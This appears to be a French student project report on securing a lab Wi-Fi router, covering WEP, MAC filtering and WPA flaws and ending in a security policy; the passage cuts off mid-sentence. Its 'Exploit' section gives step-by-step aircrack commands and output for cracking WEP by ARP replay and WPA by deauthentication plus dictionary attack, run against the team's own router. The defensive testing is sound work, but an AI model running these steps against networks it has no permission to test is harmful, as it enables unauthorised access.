II- Généralités sur les réseaux sans-fil - La Recherche

Transcription

II- Généralités sur les réseaux sans-fil - La Recherche
 ‐ 0 ‐ Sommaire Sommaire ____________________________________________________________ 1 Avant Propos _________________________________________________________ 2 I‐ Objectifs du projet ________________________________________________ 3 II‐ Généralités sur les réseaux sans‐fil ____________________________________ 4 Description _________________________________________________ 4 Les standards _______________________________________________ 5 III‐ Etudes préliminaires _______________________________________________ 6 Le mode Infrastructure________________________________________ 6 La Communication avec le Point d’Accès __________________________ 7 La Sécurité du point de vue Réseaux _____________________________ 8 Le WEP ____________________________________________________ 9 Principe de fonctionnement_____________________________ 9 Algorithme de chiffrement par flot RC4____________________ 9 CRC ________________________________________________ 9 Connexion__________________________________________ 10 Failles _____________________________________________ 11 Le Filtrage par adresse MAC___________________________________ 12 Principe de fonctionnement____________________________ 12 Failles _____________________________________________ 12 Le WPA ___________________________________________________ 13 Principe de fonctionnement____________________________ 13 Les Failles __________________________________________ 14 III‐ Exploit_________________________________________________________ 15 Aircrack ___________________________________________________ 15 Le WEP et le filtrage par adresse MAC ___________________________ 16 Le WPA ___________________________________________________ 22 IV ‐ Politique de sécurité _____________________________________________ 25 V ‐ Déploiement et Bilan _____________________________________________ 27 Annexes ____________________________________________________________ 29 Remerciements_____________________________________________ 29 Glossaire __________________________________________________ 29 Particularités________________________________________ 30 Bibliographie_______________________________________________ 31 Ouvrage ___________________________________________ 31 Liens internets ______________________________________ 31 Gestion de Projet ___________________________________________ 32 Plan de développement _______________________________ 32 ‐ 1 ‐ Avant Propos L’an passé, l’installation d’un point d’accès Wi‐Fi au sein du laboratoire de traitement du signal et des télécommunications (LTST) du département électronique de l’ENAC avait été confiée à des iEnac L04, qui avait pour but de fournir un accès Internet à des visiteurs de passage à l’ENAC. Cette mise en place avait été faite à l’aide d’un PC (serveur sous Linux) muni d’une carte Wi‐Fi. Jusqu’alors, cette solution était encore utilisée. Cette année, il a été décidé de remplacer le système de serveur PC par un routeur Wi‐
Fi Netgear, plus adapté par sa souplesse d’utilisation et son faible encombrement. La mise en place de ce nouvel équipement nous a donc été confiée, de même que l’étude de la sécurisation de cet accès. L’objet de ce rapport est donc d’exposer la démarche qui a été la notre durant toute la durée de ce projet, et également de fournir un guide d’utilisation aux futurs utilisateurs. ‐ 2 ‐ I‐ Objectifs du projet Le projet consiste donc dans sa première partie à étudier les principales sources de vulnérabilité d’un point d’accès Wi‐Fi. Le point d’accès étant destiné exclusivement à une utilisation par des intervenants extérieurs au LTST, il devra être facile de s’y connecter, par un simple mot de passe (ou phrase de passe) par exemple, pour ne pas contraindre trop fortement les éventuels utilisateurs. Mais il devra aussi s’avérer robuste aux attaques pouvant être portées par un pirate souhaitant utiliser la connexion Internet. La deuxième phase aura alors pour objet de déployer les mécanismes de sécurité permettant de remédier aux faiblesses mises en évidence dans la première partie. Elle comprendra également une étude de l’ensemble des techniques de sécurisation, déployées en environnement opérationnel. Une fois cette étude accomplie, il nous restera à trouver le meilleur compromis entre souplesse d’utilisation et sécurité appropriée, et à procéder à la livraison et à l’installation du routeur, ainsi que du guide de connexion. ‐ 3 ‐ II‐ Généralités sur les réseaux sans‐fil Description Un réseau sans‐fil est un réseau dans lequel au moins deux terminaux sont capables de communiquer entre eux grâce à des signaux radioélectriques. L’avènement de ces technologies sans‐fil est essentiellement dû au besoin toujours plus grand de mobilité. On trouve alors différentes technologies sans‐fil : le Bluetooth, l’UMTS (Universal Mobile Telecommunications System), et bien sur le Wi‐Fi (Wireless Fidelity). La norme IEEE 802.11 (ISO/IEC 8802‐11) est un standard international décrivant les caractéristiques d'un réseau local sans fil (WLAN). A l’origine la WECA (Wireless Ethernet Compatibility Alliance) était l’organisme chargé de maintenir l'interopérabilité entre les matériels répondant à la norme 802.11. La WECA a ensuite laissé sa place à la Wi‐Fi Alliance, chargée de délivrer des certificats de conformité Wi‐
Fi, qui ont par la suite donné leur nom dans le langage courant à la norme elle‐même. La norme IEEE 802.11 spécifie en outre les fréquences utilisées pour les communications sans‐fil : 2.4 ou 5 GHz, le nombre de canaux pouvant être utilisés sur chacune de ces fréquences ainsi que les débits utiles théoriques correspondant. Le Wi‐Fi permet donc aujourd’hui d’interconnecter plusieurs équipements sans‐fil comme des ordinateurs portables, des ordinateurs de bureau, des périphériques, des PDA au sein d’un réseau personnel (WPAN), d’un réseau local (WLAN) ou d’un réseau étendu (WMAN ou WWAN). Il existe deux modèles de déploiement d’une solution d’interconnexion sans‐fil Wi‐Fi. Le mode « Ad‐Hoc » est utilisé pour connecter directement plusieurs utilisateurs les uns aux autres sans passer par un équipement tiers. Le mode infrastructure s’articule quant à lui autour d’un ou plusieurs points d’accès qui réalisent l’interconnexion des utilisateurs, et le cas échéant fournissent l’accès à Internet. Figure 1 ‐ Mode Infrastructure
Figure 2 ‐ Mode Ad‐Hoc
‐ 4 ‐ Les standards La norme 802.11 s'attache à définir les couches basses du modèle OSI pour une liaison sans‐fil utilisant des ondes électromagnétiques, c'est‐à‐dire : La couche physique, proposant trois types de codage de l'information. Elle définit la modulation des ondes radioélectriques et les caractéristiques de la signalisation pour la transmission de données. La norme 802.11 propose en réalité trois couches physiques, définissant des modes de transmission alternatifs. La couche liaison de données, constituée de deux sous‐couches : le contrôle de la liaison logique (Logical Link Control, ou LLC) et le contrôle d'accès au support (Medium Access Control, ou MAC). La couche liaison de données définit l'interface entre le bus de la machine et la couche physique, notamment une méthode d'accès proche de celle utilisée dans le standard Ethernet et les règles de communication entre les différentes stations. Couche Liaison de données (MAC) Couche (PHY) Physique 802.2 802.11 DSSS FHSS Infrarouges Etablie en 1997, de nombreuses révisions ont été apportées depuis à la norme 802.11 : ‐ 5 ‐ III‐ Etudes préliminaires Avant de s’intéresser à la politique de sécurité la plus adaptée, il semblait important de bien comprendre le principe d’utilisation et de mise en œuvre du mode infrastructure. Le mode Infrastructure Comme nous le savons désormais, le mode infrastructure permet l’interconnexion sans‐fil de plusieurs clients au travers d’un (ou plusieurs) équipement central (appelé aussi point d’accès ou AP). Dans notre cas il s’agira du routeur Netgear. Ainsi chaque intervenant extérieur pourra se connecter directement au routeur. L’ensemble formé par le point d’accès et les stations situées dans sa zone de couverture est appelé « ensemble de service de base » ou BSS pour Basic Service Set. Un BSS est identifié par son BSSID, un identifiant composé de 6 octets (48 bits). Le plus souvent le BSSID correspond à l’adresse MAC du point d’accès. Il est également possible de relier plusieurs points d’accès (donc plusieurs BSS) entre eux pour former un ESS pour Extended Service Set ou service de système étendu. Dans ce cas, la liaison entre deux points d’accès est appelée système de distribution (DS pour Distribution System). Chaque ESS est lui aussi identifié, mais cette fois‐ci l’ESSID (aussi appelé SSID pour Service Set Identifier) est une chaîne de caractères (32 au maximum) codée au format ASCII. Cet identifiant constitue alors le premier niveau de sécurisation du réseau puisque sa connaissance est indispensable pour pouvoir s’y connecter. Il est à signaler que même lorsque le réseau est composé d’un seul point d’accès, il possède également un ESSID… Dans le cadre de notre étude, Le BSSID est : 00:14:6C:4D:25:16 L’ESSID est : LTST Figure 3 ‐ Exemple d'architecture sans‐fil ‐ 6 ‐ La Communication avec le Point d’Accès Lorsqu’une station est en fonctionnement, et qu’elle n’est connectée à aucun point d’accès (ou ESS), elle « écoute » passivement les communications de type 802.11 lui parvenant. De son côté, chaque point d’accès diffuse à intervalles réguliers (environ toutes les 0.1 secondes) une trame balise (beacon) fournissant des informations comme son BSSID, les débits qu’il supporte, le canal sur lequel il émet, etc.… La trame de balise peut également contenir l’ESSID du système de service étendu auquel le point d’accès appartient et ainsi anéantir la première barrière de sécurité que nous évoquions plus haut. Cette configuration, bien que surprenante puisque nous voyons qu’elle peut déjà être un frein à la sécurisation du réseau, est pourtant la configuration par défaut de la majorité des routeurs vendus dans le commerce… Lorsqu’elle détecte une trame de balise, la station peut tenter de se connecter au point d’accès en envoyant une requête sonde (probe request) qui doit préciser l’ESSID du réseau auquel elle souhaite se connecter. Le point d’accès vérifie alors les informations contenues dans cette requête, et si l’ESSID fourni est correct il renvoie une trame de réponse contenant des informations de synchronisation ainsi que des indications sur sa charge. La station peut alors évaluer la qualité du signal reçu depuis le point d’accès, mais cet échange n’augure en aucun cas d’une connexion établie avec le point d’accès. Comme nous l’avons évoqué, les réseaux sans‐fil sont nés d’un nouveau besoin de mouvement des clients Internet et d’une nécessité de souplesse d’utilisation que ne possédaient pas les réseaux Ethernet traditionnels. Mais comme souvent, la facilité de connexion du point de vue utilisateur va de pair avec une vulnérabilité accrue du réseau tout entier. A ce stade de notre étude il nous semblait donc important de définir les critères de sécurisation des réseaux. ‐ 7 ‐ La Sécurité du point de vue Réseaux Si les réseaux sans‐fil constituent une catégorie de réseaux à part entière, ils restent soumis aux mêmes règles de sécurisation que l’ensemble des réseaux informatiques. Il existe donc trois critères fondamentaux pour la sécurité des réseaux : Disponibilité : propriété d’une information d’être accessible quand on en a besoin Intégrité : propriété d’une information d’être exacte Confidentialité : propriété d’une information de ne pas être accessible pour des utilisateurs non autorisés. Ces notions de base nous permettent alors de décrire et de classifier les différentes attaques auxquels peuvent être vulnérables les réseaux sans‐fil qui nous intéressent ici. En effet, les réseaux sans‐fil, de par leur topologie, sont vulnérables à des attaques pouvant affecter chacun des trois critères évoqués. Pour ce qui est de la disponibilité, le principe général d’une attaque est de saturer le réseau pour le faire « tomber », c'est‐à‐dire rendre le réseau totalement inopérant. C’est ce que l’on appelle une attaque de « déni de service ». Les méthodes utilisées par les pirates pour saturer un réseau sans‐fil consistent généralement à envoyer continûment des requêtes de connexion à un point d’accès de manière à saturer sa mémoire. Lorsque le point d’accès est saturé, il ne peut plus répondre à aucune requête formulée par les clients autorisés et le réseau n’est plus opérable. Il existe des moyens de se protéger de ce type d’attaque en ignorant notamment les requêtes suspectes mais ces solutions sont mises en place au niveau du routeur lui‐
même par le constructeur généralement. De plus, compte tenu de la solution que nous avions à déployer au sein du LTST, nous avons estimé que ce type d’attaque n’était pas la plus susceptible d’être opéré, et ne mettrait pas en danger l’ensemble du réseau du laboratoire. En ce qui concerne l’intégrité des informations transmises, il apparaît difficile, compte tenu du mode de transmission de l’information, qu’un pirate puisse altérer les transmissions entre un point d’accès et un client. En revanche, la connexion Wi‐Fi et la qualité du signal peuvent être altérées par des interférences, formées par des obstacles physiques par exemple. Toutefois les modes de transmission permettent de s’affranchir la plupart du temps de ces interférences, puisque les transmissions se font par des techniques d’étalement de spectre par séquence directe ou l’utilisation de sauts de fréquence. Les nombreuses possibilités de modulation des signaux (2‐FSK, 4‐FSK, etc.) permettent également de corriger des erreurs sur les trames transmises. Ces considérations de traitement du signal ne rentraient pas dans le cadre de notre étude et là encore la faible probabilité d’une attaque visant l’intégrité des données transmises nous ont conduit à laisser de côté dans un premier temps cet aspect de la sécurité des réseaux sans‐fil. Vous l’aurez donc compris, nous nous sommes concentrés sur la confidentialité des transmissions et pour cela nous avons commencé par étudier le système de cryptage des données utilisé pour la norme 802.11. ‐ 8 ‐ Le WEP A sa création en 1997, la norme 802.11 s’est vue associer un système de cryptage des données appelé WEP pour Wired Equivalent Privacy. A l’origine, l’IEEE avait pour objectif, grâce au WEP, de conférer aux réseaux sans‐fil une sécurité équivalente à celle disponible pour les réseaux locaux traditionnels. Principe de fonctionnement Le WEP fait partie de la norme IEEE 802.11. Ce protocole utilise : L’algorithme de chiffrement par flot RC4 pour assurer la confidentialité La somme de contrôle CRC pour assurer l’intégrité Le WEP utilise une clé de chiffrement de 40 bits (ou 104 bits voire 232 bits) à laquelle est concaténée un IV de 24 bits. Ceci forme ainsi une clé de 64 bits (128/256) permettant de chiffrer les données échangées au travers du réseau. Ainsi, une telle clé est saisie par les utilisateurs comme une suite de 10 (ou 26 ou 58) symboles hexadécimaux qui représentent chacun 4 bits de la clé WEP. Algorithme de chiffrement par flot RC4 RC4 est un algorithme de chiffrement conçu par Ronald Rivest en 1987. Le principe de RC4 consiste à générer une suite de bits pseudo aléatoires à l’aide d’un premier tableau S de 256 octets rempli en répétant la clé autant de fois que nécessaire. On mélange ensuite les éléments de ce tableau pour générer une séquence pseudo aléatoire. Un second tableau P, résultat d’une opération logique (ou exclusif) entre le tableau S et le message en clair, permet d’obtenir cette séquence pseudo aléatoire. CRC L’envoi d’informations est facilité par le codage binaire (présence ou absence de signal électrique). Néanmoins, ces signaux peuvent subir des perturbations et générer des erreurs de transmission. Pour limiter ces erreurs, une technique largement utilisée consiste à ajouter une information au message afin de permettre un contrôle logique sur le message. ‐ 9 ‐ Clé secrète K IV II
Texte
en clair RC4
II
X
O
R
CRC
|| : opération de concaténation XOR : opération « Ou Exclusif » Connexion La connexion au serveur se fait suivant le schéma suivant : Station mobile
Point d’accès Authentication Request « Clé partagée » Challenge
Réponse
Authentication Response ‐ 10 ‐ Failles Malgré la faible taille des clés, les problèmes de sécurité liés au WEP sont principalement : La transmission de l’IV est en clair Le protocole est basé sur une clé partagée statique Le serveur peut être défié de manière indéfinie (attaque par rejeu) Il n’y a pas d’authentification des utilisateurs Ceci permet donc après une écoute clandestine du réseau plus ou moins longue de stocker un nombre important d’IVs. Ces IVs n’étant codés que sur 24 bits, il suffit de récupérer en moyenne 300.000 paquets pour cracker une clé de 64 bits et environ 700.000 paquets pour une clé de 128 bits. Concernant le CRC, son efficacité est largement limitée par le fait qu’il est possible de modifier le message et ensuite de mettre à jour son CRC sans connaître la clé. Ensuite, il y a des problèmes liés au fait que le WEP est proposé par défaut sur de nombreux routeurs Wi‐Fi et reste optionnel sur certains autres équipements. L’utilisation par des utilisateurs non avertis rend donc l’utilisation du Wi‐Fi plus ou moins sensible. De plus, de nombreux systèmes WEP requièrent que la clé soit saisie en hexadécimal. Pour cette raison, beaucoup d’utilisateurs utilisent des mots de passe peu sécurisé (date de naissance …). ‐ 11 ‐ Le Filtrage par adresse MAC Outre le cryptage des données grâce au chiffrement par clé WEP, la norme 802.11 propose un filtrage des équipements connectés grâce à leur adresse physique propre. C’est ce que l’on appelle l’adresse MAC pour Medium Access Control. Cette adresse est propre à chaque équipement réseau et elle est donnée par le constructeur de l’équipement lui‐même ce qui assure son unicité. Le filtrage par adresse MAC semble alors une méthode efficace de contrôle d’accès au réseau sans‐fil. Principe de fonctionnement Du fait de l’unicité de l’adresse MAC de chaque équipement réseau, il est facile pour un administrateur réseau de répertorier l’ensemble des adresses MAC des clients autorisés à se connecter au réseau. A partir de cette liste d’adresses, il lui est alors possible d’autoriser uniquement les équipements possédant une adresse de la liste de se connecter au point d’accès. En effet, chaque trame échangée entre 2 équipements contient l’adresse MAC du destinataire ainsi que celle de l’expéditeur. Il est alors facile de vérifier si l’adresse MAC reçue au niveau du point d’accès est une adresse autorisée. Failles Cette solution de sécurisation des réseaux sans‐fil par filtrage d’adresse MAC repose donc sur un principe simple : l’unicité de l’adresse de chaque équipement. Comme il l’a été dit, chaque équipement possède une adresse fournie par le constructeur. Cependant, ces adresses sont échangées en clair entre les équipements lorsqu’ils communiquent. En effet, le routage de l’information entre les différents équipements nécessite que certaines données comme l’adresse réseau (adresse IP) ou l’adresse MAC soient lisibles par tous les équipements. Il est donc facile d’écouter passivement un réseau (sans y être effectivement connecté) et de récupérer les adresses MAC des différents équipements qui le constituent. Partant de ce constat, il apparaît facile d’usurper l’adresse physique d’un équipement du réseau pour contourner le filtrage d’adresse MAC au niveau du point d’accès. C’est ce que l’on appelle en anglais le « spoofing d’adresse MAC ». Nous avons vu précédemment que chaque trame émise comportait les adresses MAC des équipements destinataires et expéditeurs. Des programmes libres disponibles sur Internet permettent alors de changer l’adresse expéditrice de chaque trame, pour la remplacer par celle d’un équipement autorisé. ‐ 12 ‐ Le WPA Le protocole de chiffrement WEP offrant une faible protection reconnue, de nouveaux mécanismes ont été développés, le plus célèbre étant le WPA. Il est d’ailleurs très souvent proposé dans les applications Wi‐Fi couramment utilisées. Il a été développé pour palier aux faiblesses du protocole WEP et donc fonctionner sur une très grande majorité des cartes réseaux Wi‐Fi existantes. Principe de fonctionnement WPA a été conçu pour être utilisé en collaboration avec un serveur d’identification 802.1X chargé de distribuer les différentes clés à chaque utilisateur (EAP). Cependant, il peut aussi être utilisé dans un mode moins sécurisé (PSK) dans lequel tous les utilisateurs partagent la même clé secrète. Ce protocole utilise : L’algorithme de chiffrement par flot RC4 pour assurer la confidentialité. Le MIC pour assurer l’intégrité. Le chiffrement de données est basé sur l’algorithme de chiffrement par flot RC4 avec une clé de 128 bits et un IV de 48 bits. Hormis la plus grande taille de l’IV, une des améliorations majeures du WPA par rapport au WEP est le protocole TKIP qui permet un échange dynamique des clés lors de l’utilisation du système. TKIP est une solution transitoire compatible avec les équipements existants. Au lieu d’une clé fixe qui doit être configurée manuellement sur tous les équipements, TKIP génère et distribue des clés de sessions dynamiques à partir des adresses MAC de la carte réseau et du point d’accès. Il s’agit d’une solution transitoire puisqu’un nouveau protocole est destiné à le remplacer : l’AES. Celui‐ci n’est cependant pas compatible avec tous les équipements. En effet, TKIP n’est que très peu approprié aux applications en temps réel puisque la réauthentification induit un temps de latence qui devient assez important dans ce contexte. Ainsi, WPA présente une meilleure identification ainsi qu’un meilleur chiffrement. Il garantit de plus une intégrité des données échangées nettement améliorée. En effet, le WPA repose sur l’utilisation d’un algorithme d’identification des messages appelé « Michaël ». Il s’agit d’un MIC qui remplace le CRC. En augmentant la taille des clés et des vecteurs d'initialisation, en réduisant le nombre de paquets envoyés avec des clés liées, et en ajoutant un mécanisme d'identification des messages, le WPA rend la pénétration d'un réseau local sans fil beaucoup plus difficile. L'algorithme Michael est l'algorithme le plus résistant que les concepteurs du WPA pouvaient inclure sans abandonner la compatibilité avec la plupart des anciennes cartes réseaux. Cependant, cet algorithme est sujet à une attaque par contrefaçon de paquets. Pour limiter ce risque, les réseaux WPA s'arrêtent pendant 30 secondes dès qu'une tentative d'attaque est détectée. ‐ 13 ‐ Les Failles Si le protocole de cryptage WPA propose une avancée certaine en matière de sécurité des réseaux sans‐fil, il reste néanmoins une solution transitoire en attendant la validation de la norme 802.1X. En effet, de nouvelles solutions de sécurité basées sur le protocole EAP (Extensible Authentication Protocol – RFC 2284 / RFC 3748), sont actuellement à l’étude par l’IEEE et la Wi‐Fi Alliance. Le WPA est donc une solution de sécurité faillible, et en particulier lors de l’établissement de la connexion entre le client et le point d’accès. De la même manière que pour le WEP, la connexion entre un client et un point d’accès en mode de cryptage WPA se fait selon le modèle challenge‐response. Cette connexion engendre donc l’émission de quatre trames de type EAP (ou EAPOL). Ces trames sont cryptées avec la clé commune aux deux entités qui s’interconnectent. En arrivant à intercepter ces quatre trames, et uniquement celles‐là, il est donc possible de tenter une attaque par dictionnaire de force brute (traduit de l’anglais : bruteforce dictionnary attack). Cette attaque consiste à comparer les données cryptées récupérées, avec des données cryptées sur la machine. Pour chaque mot (ou phrase) du dictionnaire, on applique le cryptage WPA et on compare les trames obtenues avec celles récupérées. Lorsque les trames récupérées et générées sont identiques, la pass‐phrase est trouvée. Le caractère basique et répétitif de ce type d’attaque lui confère son nom. Nous verrons par la suite que c’est ce type d’attaque que nous avons tenté d’opérer sur notre matériel. ‐ 14 ‐ III‐ Exploit Nous avons donc décidé d’exploiter les failles mises en évidence au chapitre précédent. Pour cela, nous disposions de: Deux stations Windows/Linux Un routeur Netgear (installé sur une station reliée à internet) Une clé Wi‐Fi Le matériel fournit permettait de mener des attaques jusqu’au bout mais nécessitait un temps de réalisation souvent incompatible avec les créneaux prévus par notre emploi du temps. Pour cela, nous avons décidé de mener une majeure partie du projet chez nous. De plus, la clé Wi‐Fi fournie ne supporte pas l’injection de paquet qui permet de réduire confortablement la durée d’une attaque. Nous avons donc choisi de nous équiper d’un matériel qui assure cette fonctionnalité. Cependant, l’injection de paquet est difficilement réalisable sous Windows et plus facilement utilisable sous une distribution Unix. Nous avons donc effectué l’achat d’une carte Wi‐Fi (D‐Link DWL‐G520) pour 80 euros et installé la distribution Unix « Ubuntu » (gratuit) sur l’une de nos deux stations. En effet, le matériel initialement mis à notre disposition ne convenait pas aux séances de projet programmées qui s’étalaient sur deux heures. Avec le matériel fourni, il fallait plus de deux heures pour cracker une clé WEP. Aircrack Il existe sur Internet, un freeware nommé « aircrack » qui permet de tester la robustesse d’un réseau Wi‐Fi. Ce logiciel implémente une attaque basée sur l’attaque FMS. Cette attaque porte le nom des trois crypto‐analystes qui l’ont implémentée : Fluhrer, Mantin et Shamir. Elle présente l’avantage d’être totalement passive (et ainsi difficilement détectable) puisqu’il suffit de sniffer le réseau et de récupérer les différents IVs transmis afin de casser la clé. Son principal inconvénient est qu’elle prend beaucoup de temps et dépend fortement de l’activité du réseau. Une amélioration a été apportée par l’attaque Korek que nous ne détaillerons pas ici du fait de son aspect purement technique mais qui réduit largement ce temps d’attente. De ce fait, ce logiciel est composé de trois modules : Airodump : qui repère et identifie les réseaux Wi‐Fi disponibles ainsi que les stations connectées (BSSID, @MAC,…) Aireplay : qui défie le serveur et récupère les IVs transmis en clair Aircrack : qui récupère et utilise ces fichiers pour briser la clé ‐ 15 ‐ Le WEP et le filtrage par adresse MAC Nous avons donc tenté de nous connecter de manière illicite à notre Alice box à l’aide de ce logiciel. NB : Pour des raisons de confidentialité, nous avons masqué les informations personnelles collectées durant notre étude. Elles sont assez nombreuses étant donné que nous habitons en résidence étudiante. Voici le détail du fonctionnement de notre attaque : On commence par passer notre carte Wi‐Fi en mode monitor : $root : airmon start ath0 ‐e usage: /usr/sbin/airmon <start|stop> <interface> [channel] ‐e Interface Chipset Driver ‐e ‐n ath0 Atheros madwifi (monitor mode enabled) Bien que cette commande apparaisse simple, nous avons rencontré des difficultés à parvenir au résultat escompté. Pour commencer, la clé USB WI‐Fi qui nous avait été prêtée par notre maître de projet ne supportait pas l’injection de paquets sous Linux. Il nous a donc fallu trouver une carte Wi‐Fi PCI qui supportait l’injection de paquets. Après avoir passé quelque temps sur les forums spécialisés, nous avons opté pour la D‐Link DWL‐G520. Mais comme toutes les cartes vendues dans le commerce, elle n’était livrée qu’avec les drivers Windows®, et il nous a fallu recompiler ces drivers sous Linux. Notre carte était alors installée, il ne nous restait plus qu’à patcher les drivers recompilés pour que la carte supporte enfin l’injection de paquets, et donc pour que la commande ci‐dessus ne donne le résultat attendu… ‐ 16 ‐ Ensuite on lance airodump pour découvrir les points d’accès à proximité ainsi que les stations qui y sont connectées : $root : airodump ath0 wep_crack 0 BSSID PWR Beacons # Data CH MB ENC ESSID 00:14:6C:4D:25:16 38 9 29 11 54 WEP LTST 36:DE:E3:**:**:** 3 2 0 10 11 OPN P*** 00:0E:9B:**:**:** 2 3 0 1 48 WEP? W***** 00:07:CB:**:**:** 9 5 0 1 48 WEP? F***** 00:14:A4:**:**:** 15 8 12 1 48 WEP W***** BSSID STATION PWR Packets ESSID 00:14:6C:4D:25:16 00:0E:35:**:**:** 31 29 LTST Les données collectées seront stockées dans le fichier wep_crack.cap. L’option 0 indique que l’on scanne tous les canaux. On relance alors airodump en ciblant le canal sur lequel émet le point d’accès que l’on souhaite pirater (ici le canal 11). $root : airodump ath0 wep_crack 11 BSSID PWR Beacons # Data CH MB ENC ESSID 02:16:6F:**:**:** 3 5 0 11 54 OPN L** 02:12:F0:**:**:** 2 55 0 11 54 OPN P**** 00:16:38:**:**:** 3 9 29 11 48 WEP A***** 00:19:15:**:**:** 6 778 0 11 48 WEP? 00:14:6C:**:**:** 46 908 6239 11 54 WEP LTST BSSID STATION PWR Packets ESSID 00:14:6C:4D:25:16 00:0C:F1:**:**:** 36 808 LTST 00:14:6C:4D:25:16 00:0E:35:**:**:** 31 5501 LTST On repère donc les points d’accès qui émettent sur le canal 11, ainsi que leur ESSID, leur BSSID, et le cas échéant les informations concernant les clients connectés. ‐ 17 ‐ ‐ 18 ‐ On laisse alors tourner airodump pour récupérer les paquets nécessaires au piratage. Pendant ce temps on lance le programme aireplay dans un nouveau terminal : $root : aireplay ‐1 0 –e ESSID –a BSSID –b BSSID –h client ath0 dev.ath0.rawdev = 1 Sending Authentication Request Authentication successful Sending Association Request Association successful :‐) Cette commande nous permet d’être associés au point d’accès. Il nous reste désormais à défier le point d’accès pour l’obliger à émettre des requêtes ARP. Ce sont ces requêtes qui vont nous permettre de récupérer des IVs et ainsi de cracker la clé WEP. On lance alors la commande suivante : $root : aireplay ‐3 –e ESSID –a BSSID –b BSSID –h client –x 600 –r wep_crack.cap ath0 dev.ath0.rawdev = 1 Saving ARP requests in replay_arp‐0115‐224820.cap You must also start airodump to capture replies. Read 9801 packets (got 0 ARP requests), sent 0 packets... Dans un premier temps le programme lit les trames sauvegardées dans le fichier wep_crack.cap puis l’injection de paquets commence. On voit alors augmenter également le nombre de requêtes ARP récupérées. Read 46834 packets (got 518 ARP requests), sent 12648 packets... Le nombre de paquets augmente (colonne Packets) également dans la fenêtre où tourne toujours la commande airodump (voir page suivante). ‐ 19 ‐ BSSID PWR Beacons # Data CH MB ENC ESSID 02:16:6F:**:**:** 3 5 0 11 54 OPN L** 02:12:F0:**:**:** 2 55 0 11 54 OPN P**** 00:16:38:**:**:** 3 9 29 11 48 WEP A***** 00:19:15:**:**:** 6 778 0 11 48 WEP? 00:14:6C:4D:25:16 46 908 6239 11 54 WEP LTST BSSID STATION PWR Packets ESSID 00:14:6C:**:**:** 00:0C:F1:**:**:** 36 808 LTST 00:14:6C:**:**:** 00:0E:35:**:**:** 31 5501 LTST Au bout de quelques minutes (6 minutes 20 secondes dans notre exemple) le nombre d’IVs récupéré dépasse les 300 000. Sachant que l’on a choisi une clé de chiffrement de 64 bits, ce nombre est suffisant et l’on peut passer au « crack » de la clé à proprement parler. On lance alors aircrack dans un troisième terminal : $root : aircrack –x ‐0 wep_crack.cap Si le nombre de paquets collectés est suffisant, la clé est craquée en quelques secondes : ‐ 20 ‐ ‐ 21 ‐ Le WPA Ce logiciel permet aussi de s’attaquer à des réseaux protégés par un protocole WPA. Nous avons donc changé la méthode de cryptage du routeur pour passer en WPA‐
PSK. Pour ce qui est de l’attaque, le fonctionnement fut sensiblement le même que pour le WEP. Voici le déroulement de notre attaque : On commence par passer notre carte Wi‐Fi en mode monitor : $root : airmon start ath0 ‐e usage: /usr/sbin/airmon <start|stop> <interface> [channel] ‐e Interface Chipset Driver ‐e ‐n ath0 Atheros madwifi (monitor mode enabled) On lance alors airodump en ciblant le canal sur lequel émet notre point d’accès : le canal 11. $root : airodump ath0 wpa_crack 11 BSSID PWR Beacons #Data CH MB ENC ESSID 00:16:38:**:**:** 3 12 25 11 48 WEP A******* 0E:84:73:**:**:** 9 159 0 11 11 OPN d** 00:19:15:**:**:** 4 119 0 11 48 WEP? 02:12:F0:**:**:** 4 134 0 11 54 OPN P**** 00:14:6C:4D:25:16 48 174 240 11 54 WPA LTST BSSID STATION PWR Packets ESSID 00:14:6C:4D:25:16 00:0C:F1:**:**:** 35 244 LTST ‐ 22 ‐ Il est impératif, dans le cas d’une attaque visant un point d’accès configuré en WPA, qu’une station soit connectée au point d’accès. C’est le cas ici. Comme nous l’avons vu lors de la description du protocole, la faille du WPA se situe lors de l’établissement de la connexion. Il nous faut donc à ce moment là forcer une rupture de connexion entre la station et le point d’accès pour les obliger à se reconnecter. On ouvre donc un nouveau terminal et on lance la commande suivante : $root : aireplay ‐0 1 –e ESSID –a BSSID –b BSSID –h client ath0 dev.ath0.rawdev = 1 Sending DeAuth to broadcast ‐‐ BSSID: [00:13:46:CC:00:B0] A ce moment, le client se reconnecte automatiquement à la station et l’on peut récupérer, grâce à la commande airodump qui tourne toujours dans la 1ère fenêtre, les 4 paquets transmis correspondant aux 4 phases de l’établissement de la connexion. Ayant récupéré ces paquets, aircrack nous permet de retrouver la clé WPA, à condition qu’elle soit répertoriée dans un fichier dictionnaire. C’est à ce niveau là que se situe la difficulté de l’attaque. En effet, il est difficile de se procurer un dictionnaire qui soit le plus exhaustif possible. On en trouve sur Internet mais ils sont payants (environ 35€). Dans le cadre de notre étude, il ne nous semblait pas utile d’effectuer une dépense supplémentaire et nous nous sommes procuré un dictionnaire assez simpliste qui recense un millier de mots de passe seulement. Nous avons alors configuré le routeur en choisissant un mot de passe contenu dans notre dictionnaire. Cela ne retire toutefois pas l’intérêt de notre étude. On lance enfin aircrack dans un troisième terminal : $root : aircrack –x ‐0 wpa_crack.cap –w ~/utils_wifi/dico.txt Compte tenu de la petite taille de notre dictionnaire, la clé est craquée presque instantanément : ‐ 23 ‐ ‐ 24 ‐ IV ‐ Politique de sécurité Au cours de ce projet, nous avons donc étudié différents mécanismes de sécurité s’appliquant à un WLAN. Cela nous a permis de recenser les différentes faiblesses liées à chaque mécanisme et d’établir une politique de sécurité. Nous conseillons donc aux utilisateurs de suivre la démarche suivante : Masquer le SSID (configuration du routeur : Broadcast SSID masqué). L’inconvénient est qu’il faudra ajouter le réseau sans fil aux réseaux favoris et mettre en place une connexion automatique. Utiliser le WPA (PSK) avec une « pass phrase » entre 8 et 60 caractères. Il s’agit d’utiliser un mot de passe suffisamment conséquent pour empêcher tout utilisateur non autorisé de se connecter ou tout du moins retarder son attaque. Cette « pass phrase » doit être renouvelée de manière assez fréquente. Nous ne pouvons préciser cette fréquence car celle‐ci est fortement liée à la durée de visite des utilisateurs du LTST. En effet, pour une meilleure souplesse d’utilisation, nous proposons de renouveler les « pass phrase » après les départs des différents flots de visiteurs. Il faut de plus se protéger de l’extérieur étant donné que le LTST offre une connexion à Internet. Nous avons donc choisi d’utiliser le routeur comme passerelle NAT (i.e. pour assurer une translation des adresses lors d’un accès vers l’extérieur). Ainsi, les membres du réseau local auront une adresse IP du type 192.168.1.X avec un masque de réseau 255.255.255.0 (l’adresse IP est obtenue automatiquement, X varie entre 2 et le nombre de machines du LTST). Lors d’un accès vers l’extérieur, le routeur affectera une adresse IP comprise entre 10.31.4.193 et 10.31.4.207 (qui correspondent à la plage d’adresses attribuée au cours du projet 